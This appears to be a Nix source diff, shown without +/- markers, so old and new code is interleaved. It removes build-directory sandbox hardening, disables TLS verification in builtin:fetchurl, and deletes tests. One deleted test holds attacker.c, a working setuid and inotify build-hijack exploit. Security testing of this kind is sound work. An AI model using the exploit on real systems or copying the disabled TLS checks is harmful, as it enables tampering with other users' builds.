sandboxProfile += fmt("\t(subpath \"%s\")\n", path);
else
sandboxProfile += fmt("\t(literal \"%s\")\n", path);
}
if (S_ISDIR(optSt->st_mode))
sandboxProfile += fmt("\t(subpath \"%s\")\n", path);
else
sandboxProfile += fmt("\t(literal \"%s\")\n", path);
}
sandboxProfile += ")\n";
sandboxProfile += ")\n";
/* Allow file-read* on full directory hierarchy to self. Allows realpath() */
sandboxProfile += "(allow file-read*\n";
for (auto & i : ancestry) {
sandboxProfile += fmt("\t(literal \"%s\")\n", i);
}
sandboxProfile += ")\n";
/* Allow file-read* on full directory hierarchy to self. Allows realpath() */
sandboxProfile += "(allow file-read*\n";
for (auto & i : ancestry) {
sandboxProfile += fmt("\t(literal \"%s\")\n", i);
}
sandboxProfile += ")\n";
sandboxProfile += additionalSandboxProfile;
} else
sandboxProfile +=
#include "sandbox-minimal.sb"
;
sandboxProfile += additionalSandboxProfile;
} else
sandboxProfile +=
#include "sandbox-minimal.sb"
;
debug("Generated sandbox profile:");
debug(sandboxProfile);
debug("Generated sandbox profile:");
debug(sandboxProfile);
bool allowLocalNetworking = parsedDrv->getBoolAttr("__darwinAllowLocalNetworking");
Path sandboxFile = tmpDir + "/.sandbox.sb";
/* The tmpDir in scope points at the temporary build directory for our derivation. Some packages try different mechanisms
to find temporary directories, so we want to open up a broader place for them to put their files, if needed. */
Path globalTmpDir = canonPath(defaultTempDir(), true);
writeFile(sandboxFile, sandboxProfile);
/* They don't like trailing slashes on subpath directives */
while (!globalTmpDir.empty() && globalTmpDir.back() == '/')
globalTmpDir.pop_back();
bool allowLocalNetworking = parsedDrv->getBoolAttr("__darwinAllowLocalNetworking");
if (getEnv("_NIX_TEST_NO_SANDBOX") != "1") {
Strings sandboxArgs;
sandboxArgs.push_back("_GLOBAL_TMP_DIR");
sandboxArgs.push_back(globalTmpDir);
if (allowLocalNetworking) {
sandboxArgs.push_back("_ALLOW_LOCAL_NETWORKING");
sandboxArgs.push_back("1");
}
char * sandbox_errbuf = nullptr;
if (sandbox_init_with_parameters(sandboxProfile.c_str(), 0, stringsToCharPtrs(sandboxArgs).data(), &sandbox_errbuf)) {
writeFull(STDERR_FILENO, fmt("failed to configure sandbox: %s\n", sandbox_errbuf ? sandbox_errbuf : "(null)"));
_exit(1);
/* The tmpDir in scope points at the temporary build directory for our derivation. Some packages try different mechanisms
to find temporary directories, so we want to open up a broader place for them to put their files, if needed. */
Path globalTmpDir = canonPath(defaultTempDir(), true);
/* They don't like trailing slashes on subpath directives */
while (!globalTmpDir.empty() && globalTmpDir.back() == '/')
globalTmpDir.pop_back();
if (getEnv("_NIX_TEST_NO_SANDBOX") != "1") {
builder = "/usr/bin/sandbox-exec";
args.push_back("sandbox-exec");
args.push_back("-f");
args.push_back(sandboxFile);
args.push_back("-D");
args.push_back("_GLOBAL_TMP_DIR=" + globalTmpDir);
if (allowLocalNetworking) {
args.push_back("-D");
args.push_back(std::string("_ALLOW_LOCAL_NETWORKING=1"));
}
args.push_back(drv->builder);
} else {
builder = drv->builder;
args.push_back(std::string(baseNameOf(drv->builder)));
}
}
#else
else {
builder = drv->builder;
args.push_back(std::string(baseNameOf(drv->builder)));
}
#endif
for (auto & i : drv->args)
args.push_back(rewriteStrings(i, inputRewrites));
/* Indicate that we managed to set up the build environment. */
writeFull(STDERR_FILENO, std::string("\2\n"));
@@ -2172,7 +2165,7 @@ void LocalDerivationGoal::runChild()
worker.store.printStorePath(scratchOutputs.at(e.first)));
if (drv->builder == "builtin:fetchurl")
builtinFetchurl(*drv, outputs, netrcData, caFileData);
builtinFetchurl(*drv, outputs, netrcData);
else if (drv->builder == "builtin:buildenv")
builtinBuildenv(*drv, outputs);
else if (drv->builder == "builtin:unpack-channel")
@@ -2186,14 +2179,6 @@ void LocalDerivationGoal::runChild()
}
}
// Now builder is not builtin
Strings args;
args.push_back(std::string(baseNameOf(drv->builder)));
for (auto & i : drv->args)
args.push_back(rewriteStrings(i, inputRewrites));
#if __APPLE__
posix_spawnattr_t attrp;
@@ -2215,9 +2200,9 @@ void LocalDerivationGoal::runChild()
posix_spawnattr_setbinpref_np(&attrp, 1, &cpu, NULL);
}
posix_spawn(NULL, drv->builder.c_str(), NULL, &attrp, stringsToCharPtrs(args).data(), stringsToCharPtrs(envStrs).data());
posix_spawn(NULL, builder.c_str(), NULL, &attrp, stringsToCharPtrs(args).data(), stringsToCharPtrs(envStrs).data());
#else
execve(drv->builder.c_str(), stringsToCharPtrs(args).data(), stringsToCharPtrs(envStrs).data());
execve(builder.c_str(), stringsToCharPtrs(args).data(), stringsToCharPtrs(envStrs).data());
#endif
throw SysError("executing '%1%'", drv->builder);
@@ -2966,17 +2951,15 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo
void LocalDerivationGoal::deleteTmpDir(bool force)
{
if (topTmpDir != "") {
if (tmpDir != "") {
/* Don't keep temporary directories for builtins because they
might have privileged stuff (like a copy of netrc). */
if (settings.keepFailed && !force && !drv->isBuiltin()) {
printError("note: keeping build directory '%s'", tmpDir);
chmod(topTmpDir.c_str(), 0755);
chmod(tmpDir.c_str(), 0755);
}
else
deletePath(topTmpDir);
topTmpDir = "";
deletePath(tmpDir);
tmpDir = "";
}
}
@@ -27,16 +27,10 @@ struct LocalDerivationGoal : public DerivationGoal
std::optional<Path> cgroup;
/**
* The temporary directory used for the build.
* The temporary directory.
*/
Path tmpDir;
/**
* The top-level temporary directory. `tmpDir` is either equal to
* or a child of this directory.
*/
Path topTmpDir;
/**
* The path of the temporary directory in the sandbox.
*/
@@ -71,16 +65,6 @@ struct LocalDerivationGoal : public DerivationGoal
*/
bool useChroot = false;
/**
* The parent directory of `chrootRootDir`. It has permission 700
* and is owned by root to ensure other users cannot mess with
* `chrootRootDir`.
*/
Path chrootParentDir;
/**
* The root of the chroot environment.
*/
Path chrootRootDir;
/**
@@ -46,7 +46,6 @@ R""(
(if (param "_ALLOW_LOCAL_NETWORKING")
(begin
(allow network* (remote ip "localhost:*"))
(allow network-inbound (local ip "*:*")) ; required to bind and listen
; Allow access to /etc/resolv.conf (which is a symlink to
; /private/var/run/resolv.conf).
+4 -5
View File
@@ -9,8 +9,7 @@ namespace nix {
void builtinFetchurl(
const BasicDerivation & drv,
const std::map<std::string, Path> & outputs,
const std::string & netrcData,
const std::string & caFileData)
const std::string & netrcData)
{
/* Make the host's netrc data available. Too bad curl requires
this to be stored in a file. It would be nice if we could just
@@ -20,9 +19,6 @@ void builtinFetchurl(
writeFile(settings.netrcFile, netrcData, 0600);
}
settings.caFile = "ca-certificates.crt";
writeFile(settings.caFile, caFileData, 0600);
auto out = get(drv.outputs, "out");
if (!out)
throw Error("'builtin:fetchurl' requires an 'out' output");
@@ -42,7 +38,10 @@ void builtinFetchurl(
auto source = sinkToSource([&](Sink & sink) {
/* No need to do TLS verification, because we check the hash of
the result anyway. */
FileTransferRequest request(url);
request.verifyTLS = false;
request.decompress = false;
auto decompressor = makeDecompressionSink(
+2
View File
@@ -9,6 +9,8 @@
namespace nix {
using namespace nix::unix;
#if __linux__
static std::vector<gid_t> get_group_list(const char *username, gid_t group_id)
+38
View File
@@ -0,0 +1,38 @@
#pragma once
///@file
#include "file-descriptor.hh"
namespace nix::unix {
/**
* Open (possibly create) a lock file and return the file descriptor.
* -1 is returned if create is false and the lock could not be opened
* because it doesn't exist. Any other error throws an exception.
*/
AutoCloseFD openLockFile(const Path & path, bool create);
/**
* Delete an open lock file.
*/
void deleteLockFile(const Path & path, int fd);
enum LockType { ltRead, ltWrite, ltNone };
bool lockFile(int fd, LockType lockType, bool wait);
struct FdLock
{
int fd;
bool acquired = false;
FdLock(int fd, LockType lockType, bool wait, std::string_view waitMsg);
~FdLock()
{
if (acquired)
lockFile(fd, ltNone, false);
}
};
}
+13 -11
View File
@@ -14,7 +14,9 @@
namespace nix {
AutoCloseFD openLockFile(const Path & path, bool create)
using namespace nix::unix;
AutoCloseFD unix::openLockFile(const Path & path, bool create)
{
AutoCloseFD fd;
@@ -26,20 +28,20 @@ AutoCloseFD openLockFile(const Path & path, bool create)
}
void deleteLockFile(const Path & path, Descriptor desc)
void unix::deleteLockFile(const Path & path, int fd)
{
/* Get rid of the lock file. Have to be careful not to introduce
races. Write a (meaningless) token to the file to indicate to
other processes waiting on this lock that the lock is stale
(deleted). */
unlink(path.c_str());
writeFull(desc, "d");
writeFull(fd, "d");
/* Note that the result of unlink() is ignored; removing the lock
file is an optimisation, not a necessity. */
}
bool lockFile(Descriptor desc, LockType lockType, bool wait)
bool unix::lockFile(int fd, LockType lockType, bool wait)
{
int type;
if (lockType == ltRead) type = LOCK_SH;
@@ -48,7 +50,7 @@ bool lockFile(Descriptor desc, LockType lockType, bool wait)
else abort();
if (wait) {
while (flock(desc, type) != 0) {
while (flock(fd, type) != 0) {
checkInterrupt();
if (errno != EINTR)
throw SysError("acquiring/releasing lock");
@@ -56,7 +58,7 @@ bool lockFile(Descriptor desc, LockType lockType, bool wait)
return false;
}
} else {
while (flock(desc, type | LOCK_NB) != 0) {
while (flock(fd, type | LOCK_NB) != 0) {
checkInterrupt();
if (errno == EWOULDBLOCK) return false;
if (errno != EINTR)
@@ -147,16 +149,16 @@ void PathLocks::unlock()
}
FdLock::FdLock(Descriptor desc, LockType lockType, bool wait, std::string_view waitMsg)
: desc(desc)
FdLock::FdLock(int fd, LockType lockType, bool wait, std::string_view waitMsg)
: fd(fd)
{
if (wait) {
if (!lockFile(desc, lockType, false)) {
if (!lockFile(fd, lockType, false)) {
printInfo("%s", waitMsg);
acquired = lockFile(desc, lockType, true);
acquired = lockFile(fd, lockType, true);
}
} else
acquired = lockFile(desc, lockType, false);
acquired = lockFile(fd, lockType, false);
}
+2
View File
@@ -0,0 +1,2 @@
#pragma once
///@file Needed because Unix-specific counterpart
+3 -136
View File
@@ -1,149 +1,16 @@
#include "logging.hh"
#include "pathlocks.hh"
#include "signals.hh"
#include "util.hh"
#include <errhandlingapi.h>
#include <fileapi.h>
#include <windows.h>
#include "windows-error.hh"
namespace nix {
void deleteLockFile(const Path & path, Descriptor desc)
bool PathLocks::lockPaths(const PathSet & _paths, const std::string & waitMsg, bool wait)
{
int exit = DeleteFileA(path.c_str());
if (exit == 0)
warn("%s: &s", path, std::to_string(GetLastError()));
return true;
}
void PathLocks::unlock()
{
for (auto & i : fds) {
if (deletePaths)
deleteLockFile(i.second, i.first);
if (CloseHandle(i.first) == -1)
printError("error (ignored): cannot close lock file on '%1%'", i.second);
debug("lock released on '%1%'", i.second);
}
fds.clear();
}
AutoCloseFD openLockFile(const Path & path, bool create)
{
AutoCloseFD desc = CreateFileA(
path.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
create ? OPEN_ALWAYS : OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_POSIX_SEMANTICS, NULL);
if (desc.get() == INVALID_HANDLE_VALUE)
warn("%s: %s", path, std::to_string(GetLastError()));
return desc;
}
bool lockFile(Descriptor desc, LockType lockType, bool wait)
{
switch (lockType) {
case ltNone: {
OVERLAPPED ov = {0};
if (!UnlockFileEx(desc, 0, 2, 0, &ov)) {
WinError winError("Failed to unlock file desc %s", desc);
throw winError;
}
return true;
}
case ltRead: {
OVERLAPPED ov = {0};
if (!LockFileEx(desc, wait ? 0 : LOCKFILE_FAIL_IMMEDIATELY, 0, 1, 0, &ov)) {
WinError winError("Failed to lock file desc %s", desc);
if (winError.lastError == ERROR_LOCK_VIOLATION)
return false;
throw winError;
}
ov.Offset = 1;
if (!UnlockFileEx(desc, 0, 1, 0, &ov)) {
WinError winError("Failed to unlock file desc %s", desc);
if (winError.lastError != ERROR_NOT_LOCKED)
throw winError;
}
return true;
}
case ltWrite: {
OVERLAPPED ov = {0};
ov.Offset = 1;
if (!LockFileEx(desc, LOCKFILE_EXCLUSIVE_LOCK | (wait ? 0 : LOCKFILE_FAIL_IMMEDIATELY), 0, 1, 0, &ov)) {
WinError winError("Failed to lock file desc %s", desc);
if (winError.lastError == ERROR_LOCK_VIOLATION)
return false;
throw winError;
}
ov.Offset = 0;
if (!UnlockFileEx(desc, 0, 1, 0, &ov)) {
WinError winError("Failed to unlock file desc %s", desc);
if (winError.lastError != ERROR_NOT_LOCKED)
throw winError;
}
return true;
}
default:
assert(false);
}
}
bool PathLocks::lockPaths(const PathSet & paths, const std::string & waitMsg, bool wait)
{
assert(fds.empty());
for (auto & path : paths) {
checkInterrupt();
Path lockPath = path + ".lock";
debug("locking path '%1%'", path);
AutoCloseFD fd;
while (1) {
fd = openLockFile(lockPath, true);
if (!lockFile(fd.get(), ltWrite, false)) {
if (wait) {
if (waitMsg != "")
printError(waitMsg);
lockFile(fd.get(), ltWrite, true);
} else {
unlock();
return false;
}
}
debug("lock aquired on '%1%'", lockPath);
struct _stat st;
if (_fstat(fromDescriptorReadOnly(fd.get()), &st) == -1)
throw SysError("statting lock file '%1%'", lockPath);
if (st.st_size != 0)
debug("open lock file '%1%' has become stale", lockPath);
else
break;
}
fds.push_back(FDPair(fd.release(), lockPath));
}
return true;
}
FdLock::FdLock(Descriptor desc, LockType lockType, bool wait, std::string_view waitMsg)
: desc(desc)
{
if (wait) {
if (!lockFile(desc, lockType, false)) {
printInfo("%s", waitMsg);
acquired = lockFile(desc, lockType, true);
}
} else
acquired = lockFile(desc, lockType, false);
warn("PathLocks::unlock: not yet implemented");
}
}
-5
View File
@@ -469,11 +469,6 @@ void deletePath(const Path & path)
deletePath(path, dummy);
}
void createDir(const Path & path, mode_t mode)
{
if (mkdir(path.c_str(), mode) == -1)
throw SysError("creating directory '%1%'", path);
}
Paths createDirs(const Path & path)
{
-5
View File
@@ -184,11 +184,6 @@ inline Paths createDirs(PathView path)
return createDirs(Path(path));
}
/**
* Create a single directory.
*/
void createDir(const Path & path, mode_t mode = 0755);
/**
* Create a symlink.
*/
+1 -1
View File
@@ -22,7 +22,7 @@ Key::Key(std::string_view s)
key = ss.payload;
if (name == "" || key == "")
throw Error("key is corrupt");
throw Error("secret key is corrupt");
key = base64Decode(key);
}
+9 -9
View File
@@ -171,16 +171,16 @@ std::string fixGitURL(const std::string & url)
std::regex scpRegex("([^/]*)@(.*):(.*)");
if (!hasPrefix(url, "/") && std::regex_match(url, scpRegex))
return std::regex_replace(url, scpRegex, "ssh://$1@$2/$3");
if (hasPrefix(url, "file:"))
return url;
if (url.find("://") == std::string::npos) {
return (ParsedURL {
.scheme = "file",
.authority = "",
.path = url
}).to_string();
else {
if (url.find("://") == std::string::npos) {
return (ParsedURL {
.scheme = "file",
.authority = "",
.path = url
}).to_string();
} else
return url;
}
return url;
}
// https://www.rfc-editor.org/rfc/rfc3986#section-3.1
+1 -1
View File
@@ -135,7 +135,7 @@ static void main_nix_build(int argc, char * * argv)
script = argv[1];
try {
auto lines = tokenizeString<Strings>(readFile(script), "\n");
if (!lines.empty() && std::regex_search(lines.front(), std::regex("^#!"))) {
if (std::regex_search(lines.front(), std::regex("^#!"))) {
lines.pop_front();
inShebang = true;
for (int i = 2; i < argc; ++i)
-2
View File
@@ -770,8 +770,6 @@ struct CmdFlakeCheck : FlakeCommand
|| name == "flakeModules"
|| name == "herculesCI"
|| name == "homeConfigurations"
|| name == "homeModule"
|| name == "homeModules"
|| name == "nixopsConfigurations"
)
// Known but unchecked community attribute
+4 -8
View File
@@ -202,11 +202,7 @@ static PeerInfo getPeerInfo(int remote)
#if defined(SO_PEERCRED)
# if defined(__OpenBSD__)
struct sockpeercred cred;
# else
ucred cred;
# endif
ucred cred;
socklen_t credLen = sizeof(cred);
if (getsockopt(remote, SOL_SOCKET, SO_PEERCRED, &cred, &credLen) == -1)
throw SysError("getting peer credentials");
@@ -214,9 +210,9 @@ static PeerInfo getPeerInfo(int remote)
#elif defined(LOCAL_PEERCRED)
# if !defined(SOL_LOCAL)
# define SOL_LOCAL 0
# endif
#if !defined(SOL_LOCAL)
#define SOL_LOCAL 0
#endif
xucred cred;
socklen_t credLen = sizeof(cred);
+1 -4
View File
@@ -44,10 +44,7 @@ test_custom_build_dir() {
--no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$?
[ "$status" = "100" ]
[[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]]
local buildDir="$customBuildDir/nix-build-"*""
if [[ -e $buildDir/build ]]; then
buildDir=$buildDir/build
fi
local buildDir="$customBuildDir/nix-build-"*
grep $checkBuildId $buildDir/checkBuildId
}
test_custom_build_dir
-42
View File
@@ -170,45 +170,3 @@ pathWithSubmodules=$(nix eval --impure --raw --expr "(builtins.fetchGit { url =
[[ -e $pathWithoutExportIgnore/exclude-from-root ]]
[[ -e $pathWithoutExportIgnore/sub/exclude-from-sub ]]
test_submodule_nested() {
local repoA=$TEST_ROOT/submodule_nested/a
local repoB=$TEST_ROOT/submodule_nested/b
local repoC=$TEST_ROOT/submodule_nested/c
rm -rf $repoA $repoB $repoC $TEST_HOME/.cache/nix
initGitRepo $repoC
touch $repoC/inside-c
git -C $repoC add inside-c
addGitContent $repoC
initGitRepo $repoB
git -C $repoB submodule add $repoC c
git -C $repoB add c
addGitContent $repoB
initGitRepo $repoA
git -C $repoA submodule add $repoB b
git -C $repoA add b
addGitContent $repoA
# Check non-worktree fetch
local rev=$(git -C $repoA rev-parse HEAD)
out=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repoA\"; rev = \"$rev\"; submodules = true; }).outPath")
test -e $out/b/c/inside-c
test -e $out/content
test -e $out/b/content
test -e $out/b/c/content
local nonWorktree=$out
# Check worktree based fetch
# TODO: make it work without git submodule update
git -C $repoA submodule update --init --recursive
out=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repoA\"; submodules = true; }).outPath")
find $out
[[ $out == $nonWorktree ]] || { find $out; false; }
}
test_submodule_nested
-6
View File
@@ -1,6 +0,0 @@
source common.sh
# Test symlinks in zip files (#10649).
path=$(nix flake prefetch --json file://$(pwd)/tree.zip | jq -r .storePath)
[[ $(cat $path/foo) = foo ]]
[[ $(readlink $path/bar) = foo ]]
Binary file not shown.
-1
View File
@@ -16,7 +16,6 @@ nix_tests = \
flakes/absolute-attr-paths.sh \
flakes/build-paths.sh \
flakes/flake-in-submodule.sh \
flakes/prefetch.sh \
gc.sh \
nix-collect-garbage-d.sh \
remote-store.sh \
-4
View File
@@ -162,8 +162,4 @@ in
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix;
user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing;
fetchurl = runNixOSTestFor "x86_64-linux" ./fetchurl.nix;
}
-84
View File
@@ -1,84 +0,0 @@
# Test whether builtin:fetchurl properly performs TLS certificate
# checks on HTTPS servers.
{ pkgs, ... }:
let
makeTlsCert = name: pkgs.runCommand name {
nativeBuildInputs = with pkgs; [ openssl ];
} ''
mkdir -p $out
openssl req -x509 \
-subj '/CN=${name}/' -days 49710 \
-addext 'subjectAltName = DNS:${name}' \
-keyout "$out/key.pem" -newkey ed25519 \
-out "$out/cert.pem" -noenc
'';
goodCert = makeTlsCert "good";
badCert = makeTlsCert "bad";
in
{
name = "nss-preload";
nodes = {
machine = { pkgs, ... }: {
services.nginx = {
enable = true;
virtualHosts."good" = {
addSSL = true;
sslCertificate = "${goodCert}/cert.pem";
sslCertificateKey = "${goodCert}/key.pem";
root = pkgs.runCommand "nginx-root" {} ''
mkdir "$out"
echo 'hello world' > "$out/index.html"
'';
};
virtualHosts."bad" = {
addSSL = true;
sslCertificate = "${badCert}/cert.pem";
sslCertificateKey = "${badCert}/key.pem";
root = pkgs.runCommand "nginx-root" {} ''
mkdir "$out"
echo 'foobar' > "$out/index.html"
'';
};
};
security.pki.certificateFiles = [ "${goodCert}/cert.pem" ];
networking.hosts."127.0.0.1" = [ "good" "bad" ];
virtualisation.writableStore = true;
nix.settings.experimental-features = "nix-command";
};
};
testScript = ''
machine.wait_for_unit("nginx")
machine.wait_for_open_port(443)
out = machine.succeed("curl https://good/index.html")
assert out == "hello world\n"
out = machine.succeed("cat ${badCert}/cert.pem > /tmp/cafile.pem; curl --cacert /tmp/cafile.pem https://bad/index.html")
assert out == "foobar\n"
# Fetching from a server with a trusted cert should work.
machine.succeed("nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://good/index.html\"; hash = \"sha256-qUiQTy8PR5uPgZdpSzAYSw0u0cHNKh7A+4XSmaGSpEc=\"; }'")
# Fetching from a server with an untrusted cert should fail.
err = machine.fail("nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://bad/index.html\"; hash = \"sha256-rsBwZF/lPuOzdjBZN2E08FjMM3JHyXit0Xi2zN+wAZ8=\"; }' 2>&1")
print(err)
assert "SSL certificate problem: self-signed certificate" in err
# Fetching from a server with a trusted cert should work via environment variable override.
machine.succeed("NIX_SSL_CERT_FILE=/tmp/cafile.pem nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://bad/index.html\"; hash = \"sha256-rsBwZF/lPuOzdjBZN2E08FjMM3JHyXit0Xi2zN+wAZ8=\"; }'")
'';
}
-82
View File
@@ -1,82 +0,0 @@
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#define SYS_fchmodat2 452
int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) {
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
}
int main(int argc, char **argv) {
if (argc <= 1) {
// stage 1: place the setuid-builder executable
// make the build directory world-accessible first
chmod(".", 0755);
if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
perror("Setting the suid bit on attacker");
exit(-1);
}
} else {
// stage 2: corrupt the victim derivation while it's building
// prevent the kill
if (setresuid(-1, -1, getuid())) {
perror("setresuid");
exit(-1);
}
if (fork() == 0) {
// wait for the victim to build
int fd = inotify_init();
inotify_add_watch(fd, argv[1], IN_CREATE);
int dirfd = open(argv[1], O_DIRECTORY);
if (dirfd < 0) {
perror("opening the global build directory");
exit(-1);
}
char buf[4096];
fprintf(stderr, "Entering the inotify loop\n");
for (;;) {
ssize_t len = read(fd, buf, sizeof(buf));
struct inotify_event *ev;
for (char *pe = buf; pe < buf + len;
pe += sizeof(struct inotify_event) + ev->len) {
ev = (struct inotify_event *)pe;
fprintf(stderr, "folder %s created\n", ev->name);
// wait a bit to prevent racing against the creation
sleep(1);
int builddir = openat(dirfd, ev->name, O_DIRECTORY);
if (builddir < 0) {
perror("opening the build directory");
continue;
}
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
if (resultfile < 0) {
perror("opening the hijacked file");
continue;
}
int writeres = write(resultfile, "bad\n", 4);
if (writeres < 0) {
perror("writing to the hijacked file");
continue;
}
fprintf(stderr, "Hijacked the build for %s\n", ev->name);
return 0;
}
}
}
exit(0);
}
}
-129
View File
@@ -1,129 +0,0 @@
{ config, ... }:
let
pkgs = config.nodes.machine.nixpkgs.pkgs;
attacker = pkgs.runCommandWith {
name = "attacker";
stdenv = pkgs.pkgsStatic.stdenv;
} ''
$CC -static -o $out ${./attacker.c}
'';
try-open-build-dir = pkgs.writeScript "try-open-build-dir" ''
export PATH=${pkgs.coreutils}/bin:$PATH
set -x
chmod 700 .
# Shouldn't be able to open the root build directory
(! chmod 700 ..)
touch foo
# Synchronisation point: create a world-writable fifo and wait for someone
# to write into it
mkfifo syncPoint
chmod 777 syncPoint
cat syncPoint
touch $out
set +x
'';
create-hello-world = pkgs.writeScript "create-hello-world" ''
export PATH=${pkgs.coreutils}/bin:$PATH
set -x
echo "hello, world" > result
# Synchronisation point: create a world-writable fifo and wait for someone
# to write into it
mkfifo syncPoint
chmod 777 syncPoint
cat syncPoint
cp result $out
set +x
'';
in
{
name = "sandbox-setuid-leak";
nodes.machine =
{ config, lib, pkgs, ... }:
{ virtualisation.writableStore = true;
nix.settings.substituters = lib.mkForce [ ];
nix.nrBuildUsers = 1;
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ];
boot.kernelPackages = pkgs.linuxPackages_latest;
users.users.alice = {
isNormalUser = true;
};
};
testScript = { nodes }: ''
start_all()
with subtest("A builder can't give access to its build directory"):
# Make sure that a builder can't change the permissions on its build
# directory to the point of opening it up to external users
# A derivation whose builder tries to make its build directory as open
# as possible and wait for someone to hijack it
machine.succeed(r"""
nix-build -v -E '
builtins.derivation {
name = "open-build-dir";
system = builtins.currentSystem;
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ (builtins.storePath "${try-open-build-dir}") ];
}' >&2 &
""".strip())
# Wait for the build to be ready
# This is OK because it runs as root, so we can access everything
machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
# But Alice shouldn't be able to access the build directory
machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'")
machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'")
machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'")
# Tell the user to finish the build
machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"):
machine.succeed(r"""
nix-build -E '
builtins.derivation {
name = "innocent";
system = builtins.currentSystem;
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ (builtins.storePath "${create-hello-world}") ];
}' >&2 &
""".strip())
machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint")
# The build ran as `nixbld1` (which is the only build user on the
# machine), but a process running as `nixbld1` outside the sandbox
# shouldn't be able to touch the build directory regardless
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'")
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'")
# Finish the build
machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint")
# Check that the build was not affected
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
""".strip())
'';
}